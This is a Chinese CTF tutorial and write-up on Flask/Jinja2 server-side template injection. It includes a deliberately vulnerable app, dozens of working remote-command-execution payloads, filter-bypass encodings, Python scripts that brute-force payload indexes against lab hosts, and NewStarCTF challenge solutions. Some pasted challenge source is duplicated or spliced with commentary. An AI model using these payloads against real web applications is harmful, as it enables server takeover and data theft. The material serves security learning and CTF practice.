相关概念
SSTI(Server-Side Template Injection)从名字可以看出即是服务器端模板注入。比如python中的flask、php的thinkphp、java的spring等框架一般都采用MVC的模式,用户的输入先进入Controller控制器,然后根据请求类型和请求的指令发送给对应Model业务模型进行业务逻辑判断,数据库存取,最后把结果返回给View视图层,经过解析,然后模板渲染展示给用户。(CTF中主要考察python的flask框架)
模板可以被认为是一段固定好的格式,等着开发人员或者用户来填充信息。通过这种方法,可以做到逻辑与视图分离,更容易、清楚且相对安全地编写前后端不同的逻辑。
产生原因
服务器对用户的输入未经任何处理,就将其作为 Web 应用模板内容的一部分,模板引擎在进行目标编译渲染的过程中,执行了攻击者插入的可以破坏模板的语句,从而达到攻击者的目的。
模板在渲染时只能解析变量,一般不可以执行方法
实验学习
代码: app.py
from flask import *
from jinja2 import *
app = Flask(__name__)
@app.route("/")
def index():
name = request.args.get('name','guest')
html = '''<h1> Hello %s'''%name
return render_template_string(html)
if __name__ == "__main__":
app.run(debug=True,host='0.0.0.0')
可以看到,程序没有对前端输入的变量做处理,直接和hello拼接在一起,然后渲染,渲染函数在渲染的时候,往往对用户输入的变量不做渲染,即:{{}}在Jinja2中作为变量包裹标识符,Jinja2在渲染的时候会把{{}}包裹的内容当做变量来解析,Jinja2模板中的变量代码块可以是任意Python类型或者对象,只要它能够被Python的str()
方法转化为一个字符串就可以
但不能直接执行方法,因为jinjia本身有沙盒安全机制,会严格限制程序的行为,比如{{2*2}}会被解析成4,如果输入name={{system(‘ls’)}};,就会报错,
可以看到,只能解析变量,如果直接执行方法,就会报错,所以要通过其他方法来找到执行rce的方式
利用方法分析
在python中,有很多魔术方法可以利用,来解析变量,
魔术方法 | 功能 |
---|---|
__class__ | 获取这个对象所属的类 |
__base__ | 获取这个类的父类 |
__subclasses__() | 获取这个类的所有子类,返回存放所有子类的列表 |
__init__ | 实例化类时自动调用,也可以直接调用来初始化 |
__globals__ | 它返回一个字典,其中包含当前作用域中的全局变量和其对应的值。 |
现在本地实验如何通过上方的魔术方法,来达到使用系统命令的结果
1.获取空字符串的所属类
print(''.__class__) #获取字符串对象所属的类,自然是str类
2.获取父类object
print(''.__class__.__base__) #获取str类之后,再获取它的父类,即object类
3.获取 object类的所有子类,得到存放所有object子类的列表
print(''.__class__.__base__.__subclasses__())
其中_wrap_close就是我们要用到了一个子类,不同环境这个类在这个列表中位置不同,通常需要写脚本遍历来找到它的位置,我这里所在的下标就是128
4.获取到wrap_close,__init__
初始化后,使用 __globals__
方法获取的这个对象的所有全局变量,返回的是一个字典
print(''.__class__.__base__.__subclasses__()[128].__init__.__globals__)
5.调用popen方法,字符串形式输入要执行的命令,因为popen方法会创建一个子进程来执行命令,从而逃逸了jinjia对app.py进程的沙箱限制,再使用read来读取子进程中命令执行的结果
print(''.__class__.__base__.__subclasses__()[128].__init__.__globals__['popen']('dir').read())
可以看到,成功执行了系统命令dir,然后在我的ubuntu虚拟机上运行 app.py文件,尝试ssti注入
注入成功,出现许多子类,如果一个个找wrap_close,非常麻烦,写个脚本
import requests
import time
def get_class_location():
for i in range(10000):
url = 'http://10.14.9.14:5000/?name={{"".__class__.__base__.__subclasses__()[%d]}}' % i
res = requests.get(url).text
if '_wrap_close' in res:
print(i)
break
time.sleep(0.1)
get_class_location()
找到下标是132,然后按上面的方法执行系统命令即可,payload:
/?name={{''.__class__.__base__.__subclasses__()[132].__init__.__globals__['popen']('ls /').read()}}
__class__获取str类
—>__base_获取父类object
—>__subclasses__(132)
获取object的所有子类,并取出第133个类:os._wrap_close
—>__init__
初始化这个类—>__globals__['popen']
获取全局变量字典,调用其中的popen函数—>('ls /').read()
传入命令并读取执行结果
成功把 ls / 这个系统命令执行,注入利用成功
还有一种其他的payload:
/?name={{lipsum.__globals__.__builtins__.__import__('os').popen('ls').read()}}
lipsum是jinjia模板中用于生成随机文本的一种方法
payload中的调用链:
lipsum.__globals__
获得lipsum方法内的全局变量,得到字典—>__builtins__
使用这个内置的模块,其中包含了很多py内置方法—>调用__import__()
方法引入os模块—>.popen('ls').read()
使用os模块中的popen方法,并读取命令执行结果
基础payload总结
1.跑脚本找到object类中的os.wrap_close
子类,初始化后利用其中的popen函数执行命令,read读取
/?name={{''.__class__.__base__.__subclasses__()[132].__init__.__globals__['popen']('ls /').read()}}
2.跑脚本找到object类中的 _frozen_importlib.BuiltinImporter
子类,利用load_module方法引入os类,执行命令
/?name={{[].__class__.__base__.__subclasses__()[84]['load_module']('os')['popen']('cat /flag').read()}}
3.跑脚本找到object类中的 subprocess.Popen
子类,传入命令执行,communicate方法读取
/?name={{''.__class__.__base__.__subclasses__()[351]('ls /',shell=True,stdout=-1).communicate()[0].decode()}}
4.找到lipsum函数的全局变量字典,使用__builtins__
方法引入内置模块os,利用其中的popen函数执行命令,这个较短,对长度有限制时可使用
/?name={{lipsum.__globals__.__builtins__.__import__('os').popen('ls').read()}}
5.与4差不多,利用get_flashed_messges
方法中的全局变量字典,其中就有os模块,然后执行命令
/?name={{get_flashed_messges.__globals__['os']['popen']('cat /flag').read()}}
6.利用config
存放了应用配置信息的字典,找到字典类并初始化,跟4一样引入os即可
/?name={{config.__class__.__init__.__globals__.__builtins__.__import__('os').popen('ls').read()}}
其实利用的payload比较固定,重点是过滤及绕过,我是通过下面这些大佬的文章来学习的
相关过滤和绕过
过滤 .
1.可以用[‘方法名’]来代替,如’‘[’_class_']来代替,payload如下:
/?name={{''['__class__']['__base__']['__subclasses__']()[132]['__init__']['__globals__']['popen']('ls /')['read']()}}
过滤[]
1.用attr绕过,在jinjia中,attr用于获取属性的值,例如foot|attr(“bar”)等价于 foot.bar,返回foot的bar属性,这样构造payload,
过滤 . 也可以用这个方式
找object的子类
/?name={{''|attr('__class__')|attr('__base__')|attr('__subclasses__')()|attr('__getitem__')(132)|attr('__init__')|attr('__globals__')|attr('__getitem__')('popen')('ls /')|attr('read')()}}
lipsum
/?name={{lipsum|attr('__globals__')|attr('__getitem__')('__builtins__')|attr('__getitem__')('__import__')('os')|attr('popen')('ls /')|attr('read')()}}
取出字典的值,来调用方法要用__getitem__
方法
过滤关键字
字符串操作方法绕过
1.拼接绕过
像过滤 . 一样 把之前用到的类似的__class__的魔术方法,都换成[‘方法名’]来调用,而‘方法名’就是字符串形式,就可以拆成两部分来拼接,
就像下面这样:
/?name={{lipsum['__glo'+'bals__']['__bui'+'ltins__']['__imp'+'ort__']('o'+'s')['pop'+'en']('cat /flag')['read']()}}
或者用attr取值时,把用到的字符串的地方都拆开来拼接都行,也可以不用 + 来拼接,直接'__glo''bals__'
也行
2.反转绕过
/?name={{lipsum['__slabolg__'[::-1]]['__snitliub__'[::-1]]['__tropmi__'[::-1]]('so'[::-1])['nepop'[::-1]]('cat /flag')['daer'[::-1]]()}}
过滤器绕过
1.format过滤器,把字符串都用format过滤器来表示
/?name={{''["%c%c%c%c%c%c%c%c%c"|format(95,95,99,108,97,115,115,95,95)]["%c%c%c%c%c%c%c%c"|format(95,95,98,97,115,101,95,95)]["%c%c%c%c%c%c%c%c%c%c%c%c%c%c"|format(95,95,115,117,98,99,108,97,115,115,101,115,95,95)]()[132]["%c%c%c%c%c%c%c%c"|format(95,95,105,110,105,116,95,95)]["%c%c%c%c%c%c%c%c%c%c%c"|format(95,95,103,108,111,98,97,108,115,95,95)]["%c%c%c%c%c"|format(112,111,112,101,110)]("%c%c%c%c"|format(108,115,32,47))["%c%c%c%c"|format(114,101,97,100)]()}}
等价于
/?name={{''['__class__']['__base__']['__subclasses__']()[132]['__init__']['__globals__']['popen']('ls /')['read']()}}
2.join过滤器,用过滤器实现字符串的拼接
/?name={{''[['__cla','ss__']|join]
相当于
/?name={{''['__class__']}}
3.lower转小写,忽略大小写过滤时可用
/?name={{''['__CLASS__'|lower]}}
相当于
/?name={{''['__class__']}}
4.replace,reverse
replace
/?name={{''['__claee__'|replace('ee','ss')]['__ball__'|replace('ll','se')]['__subclahkes__'|replace('hk','ss')]()[132]['__inab__'|replace('ab','it')]['__globahs__'|replace('h','l')]['popbb'|replace('bb','en')]('cat /flag')['reab'|replace('b','d')]()}}
reverse就是逆序,payload应该差不多
编码绕过
以 /?name={{''['__class__']['__base__']['__subclasses__']()[132]['__init__']['__globals__']['popen']('ls /')['read']()}}
为例,把要用的字符串都转为相应的编码即可
1.十六进制编码
写个函数一键生成payload,懒得一个个替换了
def hex_encode(text):
res = ''
for x in text:
res = res + "\\x" + binascii.hexlify(x.encode('utf-8')).decode()
return res
def get_payload(payload,encode):
rests = re.findall(r"'(.*?)'", payload)
for x in rests:
if x=='':
continue
payload = payload.replace(x, encode(x))
return payload
print(get_payload(payload,hex_encode))
结果
/?name={{''['\x5f\x5f\x63\x6c\x61\x73\x73\x5f\x5f']['\x5f\x5f\x62\x61\x73\x65\x5f\x5f']['\x5f\x5f\x73\x75\x62\x63\x6c\x61\x73\x73\x65\x73\x5f\x5f']()[132]['\x5f\x5f\x69\x6e\x69\x74\x5f\x5f']['\x5f\x5f\x67\x6c\x6f\x62\x61\x6c\x73\x5f\x5f']['\x70\x6f\x70\x65\x6e']('\x6c\x73\x20\x2f')['\x72\x65\x61\x64']()}}
2.unicode转义序列**(flask框架)**,也是写个函数,直接用.encode(‘unicode-escape’)只能转义中文,所以我上网找了个函数,再用上get_payload即可,我这里把命令换为cat /flag
def unicode(str):
def left_zero_4(str):
if str != None and str != '' and str != 'undefined':
if len(str) == 2:
return '00' + str
return str
value = ''
for i in range(len(str)):
value += '\\u' + left_zero_4(hex(ord(str[i]))[2:])
return value
结果
/?name={{''['\u005f\u005f\u0063\u006c\u0061\u0073\u0073\u005f\u005f']['\u005f\u005f\u0062\u0061\u0073\u0065\u005f\u005f']['\u005f\u005f\u0073\u0075\u0062\u0063\u006c\u0061\u0073\u0073\u0065\u0073\u005f\u005f']()[132]['\u005f\u005f\u0069\u006e\u0069\u0074\u005f\u005f']['\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f']['\u0070\u006f\u0070\u0065\u006e']('\u0063\u0061\u0074\u0020\u002f\u0066\u006c\u0061\u0067')['\u0072\u0065\u0061\u0064']()}}
3.八进制编码
/?name={{lipsum['\137\137\147\154\157\142\141\154\163\137\137']['\137\137\142\165\151\154\164\151\156\163\137\137']['\137\137\151\155\160\157\162\164\137\137']('\157\163')['\160\157\160\145\156']('\143\141\164\040\057\146\154\141\147')['\162\145\141\144']()}}
相当于
/?name={{lipsum.__globals__.__builtins__.__import__('os').popen('cat /flag').read()}}
过滤数字
用lipsum、get_flashed_message、config的payload或者使用first,last,random过滤器。
first:返回第一个元素,last返回最后一个元素,random返回随机元素(跑脚本),跑到能调用的类
/?name={{(''['__class__']['__base__']['__subclasses__']()|random())['__init__']['__globals__']['popen']('ls /')['read']()}}
import requests
import time
def run():
for i in range(10000):
url = "http://192.168.184.201:5000/?name={{(''['__class__']['__base__']['__subclasses__']()|random())['__init__']['__globals__']['popen']('ls /')['read']()}}"
res = requests.get(url).text
if 'Error' not in res:
print(res)
print(i)
break
run()
运气不好的话,就要几百次才出来
过滤_
- attr
- 编码
- format过滤器
- request参数逃逸
request参数逃逸,用到字符串的地方其实都可以逃逸,能绕过很多限制,args接受的GET传的参数,args.x就是查询url中接收到的x参数的值
/?name={{lipsum[request.args.globals][request.args.builtins][request.args.import]('os').popen('cat /flag').read()}}&globals=__globals__&builtins=__builtins__&import=__import__
如果过滤了arg,可以尝试value,能接受GET,POST传的值
1.2结合还能绕过过滤 _ . []
的情况
过滤引号
1.先构造一段{%%}找到内置函数chr,赋值给我们自己的chr,再开一个{{}},利用这个chr构造字符串,用不到引号,然后
找chr的两种方式
1./?name={% set chr=[].__class__.__base__.__subclasses__()[x].__init__.__globals__.__builtins__.chr%}
在我实验环境中测试 x 80到500都可以,实际中选个三位数应该差不多,毕竟不同环境有不同的x
2./?name={% set chr=lipsum.__globals__.__builtins__.chr%}
完整payload
/?name={% set chr=lipsum.__globals__.__builtins__.chr %} {{lipsum[chr(95)%2bchr(95)%2bchr(103)%2bchr(108)%2bchr(111)%2bchr(98)%2bchr(97)%2bchr(108)%2bchr(115)%2bchr(95)%2bchr(95)][chr(95)%2bchr(95)%2bchr(98)%2bchr(117)%2bchr(105)%2bchr(108)%2bchr(116)%2bchr(105)%2bchr(110)%2bchr(115)%2bchr(95)%2bchr(95)][chr(95)%2bchr(95)%2bchr(105)%2bchr(109)%2bchr(112)%2bchr(111)%2bchr(114)%2bchr(116)%2bchr(95)%2bchr(95)](chr(111)%2bchr(115))[chr(112)%2bchr(111)%2bchr(112)%2bchr(101)%2bchr(110)](chr(108)%2bchr(115)%2bchr(32)%2bchr(47))[chr(114)%2bchr(101)%2bchr(97)%2bchr(100)]()}}
相当于
/?name={{lipsum.__globals__.__builtins__.__import__('os').popen('ls /').read()}}
发现也是可以用py函数来构造后面半段的payload,前半段就是去寻找内置的chr方法,+要编码为%2b, 不然会报错导致失败
+
被过滤时可用~代替
2.request参数逃逸,把要用引号包裹的字符串,都通过request来传递
/?name={{().__class__.__base__.__subclasses__()[132].__init__.__globals__.popen(request.args.cmd).read()}}&cmd=ls /
过滤{{
1.可以用{%print()%}
来代替,在{%%}中可以插入一些python语句
payload:
/?name={% print(lipsum.__globals__.__builtins__.__import__('os').popen('ls').read())%}
在print里面输入原来的payload就行
2.可以在{% %}装入循环语句,遍历object的所有子类,找到我们可以利用的os._wrap_close类或subprocess.Popen子类,然后分别利用
寻找利用os._wrap_close类的payload
/?name={% for c in ''.__class__.__base__.__subclasses__() %}{% if c.__name__=='_wrap_close' %}{% print(c.__init__.__globals__['popen']('cat /flag').read()) %}{% endif %}{% endfor %}
jinjia2过滤器
在Flask JinJa
中内置有很多过滤器可以使用,前文的attr() format join
就是其中的一个过滤器。变量可以通过过滤器进行修改,过滤器与变量之间用管道符号(|)隔开,括号中可以有可选参数,也可以没有参数,过滤器函数可以带括号也可以不带括号。可以使用管道符号(|)连接多个过滤器,一个过滤器的输出应用于下一个过滤器
当过滤了很多,有些字符无法表示时,可以使用其他的过滤器获取,常见获取的字符入口如下
获取对象的toSting字符串,转为列表取出对应字符
{% set org =({}|select()|string) %}{{org}}
转为列表取出第一个字符
{% set org =({}|select()|string|list).pop(1) %}{{org}}
从app.__doc__
,可以获取更多字符
{% set org =(app.__doc__|string) %}{{org}}
//
The default undefined type. This undefined type can be printed and iterated over, but every other access will raise an :exc:`UndefinedError`: >>> foo = Undefined(name='foo') >>> str(foo) '' >>> not foo True >>> foo + 42 Traceback (most recent call last): ... jinja2.exceptions.UndefinedError: 'foo' is undefined
获取数字0,然后通过数学运算获取其他数字
{% set zero = (({ }|select|string|list).pop(38)|int) %} # 0
{% set one = (zero**zero)|int %}{{one}} # 1
{%set two = (zero-one-one)|abs %} # 2
{%set three = (zero-one-one-one)|abs %} # 3
{% set five = (two*two*two)-one-one-one %} # 5
# {%set four = (one+three) %} 注意, 这样的加号的是不行的,可能是因为加号在URL里会自动识别为空格,只能用减号配合abs取绝对值了
特殊字符获取
{% set xhx = (({ }|select|string|list).pop(24)|string) %} # _
{% set space = (({ }|select|string|list).pop(10)|string) %} # 空格
{% set point = ((app.__doc__|string|list).pop(26)|string) %} # .
{% set yin = ((app.__doc__|string|list).pop(195)|string) %} # 单引号 '
{% set left = ((app.__doc__|string|list).pop(189)|string) %} # 左括号 (
{% set right = ((app.__doc__|string|list).pop(200)|string) %} # 右括号 )
上面获取字符 需要用到.
,如果数字没被过滤,可以考虑利用dict手动构造%c,获取任意字符
{% set c = dict(c=aa)|reverse|first %} # 字符 c
{% set bfh = self|string|urlencode|first %} # 百分号 %
{% set bfhc=bfh~c %} # 构造了%c, 之后可以利用这个%c构造任意字符。~用于字符连接
{% set c = dict(c=aa)|first %}{% set bfh = self|string|urlencode|first%}{% set bfhc=bfh~c%}{% set e = bfhc%(47) %}{%print(e~'a')%} #构造出/
就算数字被过滤,也可以通过上面的方式构造,就是麻烦许多
一些被ban的函数也可以通过 dict join
构造出来
% set but = dict(buil=aa,tins=dd)|join %} # builtins
{% set imp = dict(imp=aa,ort=dd)|join %} # import
题目实战
下面的题目都来自于newstarctf2023,buuctf
BabySSTI_One
提示传入name,题目提示就是ssti,我先测试一下{{''.__class__}}
,结果
有过滤,再继续测试一下发现是过滤了class,_ [] ,‘’,()都没过滤,感觉可以用编码绕过,看看有没有过滤\x
没有,直接用脚本整一个16进制编码payload,先执行ls命令
flag不在这个目录,看看根目录,
发现,cat查看,最终payload
/?name={{lipsum['\x5f\x5f\x67\x6c\x6f\x62\x61\x6c\x73\x5f\x5f']['\x5f\x5f\x62\x75\x69\x6c\x74\x69\x6e\x73\x5f\x5f']['\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f']('\x6f\x73')['\x70\x6f\x70\x65\x6e']('\x63\x61\x74\x20\x2f\x66\x6c\x61\x67\x5f\x69\x6e\x5f\x68\x65\x72\x65')['\x72\x65\x61\x64']()}}
成功了,顺便看一下题目源码:
from flask import Flask, request
from jinja2 import Template
import re
app = Flask(__name__)
@app.route("/")
def index():
name = request.args.get('name', 'CTFer')
if not re.findall('class|base|init|mro|flag|cat|more|env', name):
t = Template("<body bgcolor=#E1FFFF><br><p><b><center>Welcome to NewStarCTF, Dear " + name + "</center></b></p><br><hr><br><center>Try to GET me a NAME</center><!--This is Hint: Flask SSTI is so easy to bypass waf!--></body>")
return t.render()
else:
t = Template("Get Out!Hacker!")
return t.render()
if __name__ == "__main__":
app.run()
可以看到过滤了class、base、init、mro、flag、cat、more、env这些关键字
BabySSTI_TWO
源码提示有了更安全的waf,我写个脚本看看ban了啥
确实ban了很多,没有禁单引号,下划线,过滤的关键字可以类似'__glo''bals__'
,来绕过,过滤的空格可以用${IFS}绕过,payload
/?name={{lipsum['__glo''bals__']['__bui''ltins__']['__imp''ort__']('o''s')['pop''en']('ls${IFS}/')['read']()}}
head,查看
/?name={{lipsum['__glo''bals__']['__bui''ltins__']['__imp''ort__']('o''s')['pop''en']('head${IFS}/fl*')['read']()}}
成功了,再看看题目源码,其实也可以编码绕过
from flask import Flask, request
from jinja2 import Template
import re
app = Flask(__name__)
@app.route("/")
def index():
name = request.args.get('name', 'CTFer')
if not re.findall('class|init|mro|subclasses|flag|cat|env|"|eval|system|popen|globals|builtins|\+| |attr|\~', name):
t = Template("<body bgcolor=#6B6882><br><p><b><font color='white' size=6px><center>Welcome to NewStarCTF Again, Dear " + name + "</font></center></b></p><br><hr><br><font color='white' size=6px><center>Try to GET me a NAME</center></font><!--This is Hint: Waf Has Been Updated, More Safe!--></body>")
</font></center></b></p><br><hr><br><font color='white' size=6px><center>Try to GET me a NAME</center></font><!--This is Hint: Waf Has Been Updated, More Safe!--></body>
if __name__ == "__main__":
app.run()
看来我的字典还不够完善,裂开
BabySSTI_THREE
看看过滤了啥,
过滤了 _, 在我所学的绕过方法中,attr,request,都ban了,只能编码或format过滤器了,[] ' | \
没过滤,可以尝试使用
经过尝试,编码和format都可以用,这里用format吧,ls /的payload
/?name={{lipsum['%c%c%c%c%c%c%c%c%c%c%c'|format(95,95,103,108,111,98,97,108,115,95,95)]['%c%c%c%c%c%c%c%c%c%c%c%c'|format(95,95,98,117,105,108,116,105,110,115,95,95)]['%c%c%c%c%c%c%c%c%c%c'|format(95,95,105,109,112,111,114,116,95,95)]('%c%c'|format(111,115))['%c%c%c%c%c'|format(112,111,112,101,110)]('%c%c%c%c'|format(108,115,32,47))['%c%c%c%c'|format(114,101,97,100)]()}}
相当于
/?name={{lipsum['__globals__']['__builtins__']['__import__']('os')['popen']('ls /')['read']()}}
直接查看,
搞定,再看看源码
from flask import Flask, request
from jinja2 import Template
import re
app = Flask(__name__)
@app.route("/")
def index():
name = request.args.get('name', 'CTFer')
if not re.findall('class|init|mro|subclasses|flag|cat|env|"|eval|system|popen|globals|builtins|\+| |attr|\~|request|\:|base|\{\%|_', name):
t = Template("<body bgcolor=#6B6882><br><p><b><font color='white' size=6px><center>Welcome to NewStarCTF Again And Again, Dear " + name + "</font></center></b></p><br><hr><br><font color='white' size=6px><center>Try to GET me a NAME</center></font><!--This is Hint: Waf Has Been Updated Again, More And More Safe!--></body>")
return t.render()
else:
t = Template("Get Out!Hacker!")
return t.render()
if __name__ == "__main__":
app.run()
好吧,我的字典又要更新了,学习之路道阻且长,回过头看前两题应该还可以用lower过滤器来绕过,没有添加re.I,不忽略大小写过滤
Genshin
一开始题目页面没有东西,dirsearch扫描也没发现啥,F12查看网络后发现
访问一下这个文件,提示我们要get传入一个name,发现传了啥就回显啥,输入{{}}回显了一个hacker,那就是ssti注入了,跑个字典
主要是过滤了{{
,和一些关键字,用{%%}装入循环绕过{{}},字符串拼接绕过过滤关键字,双引号绕过过滤单引号
payload
?name={% for c in ().__class__.__base__.__subclasses__() %}{% if c.__name__=="_wrap_close" %}{% print(c["__in""it__"].__globals__["pop""en"]("ls").read()) %} {% endif %}{% endfor %}
结果还是回显hacker,但是我没测出来还有啥被ban的,换个print的payload试试
?name={% print(config.__class__["__in""it__"].__globals__.__builtins__.__import__("os")["pop""en"]("ls").read())%}
cat查看,
成功,查看题目源码,看看到底还过滤了啥
import requests
import re
from flask import *
app = Flask(__name__)
pattern = ['lipsum', 'request', 'cookie', 'init', 'url_for', '\\', 'session', '""', '{{', '}}', ';', '=', 'popen']
def waf(input_text):
for s in pattern:
if input_text.lower().find(s) != -1:
return False
return True
擦,原来还过滤了`=`,难怪第一种payload用不了,而且还有lower方法,lower的过滤器用不了了
return True
@app.route("/secr3tofpop")
def hello():
ctfer = request.args.get("name")
sign_in = '''
Welcome to NewstarCTF 2023 {ctfer}
'''
if not ctfer:
return "please give a name by get"
if waf(ctfer) == True:
return render_template_string(sign_in)
return "big hacker! get away from me!"
@app.route("/")
def index():
response = make_response("Oh! try to find some information that is useful~")
response.headers['pop'] = '/secr3tofpop'
return response
if __name__ == "__main__":
app.run(host="0.0.0.0", port=5000, debug=True)
擦,原来还过滤了=
,难怪第一种payload用不了,而且还有lower方法,lower的过滤器也用不了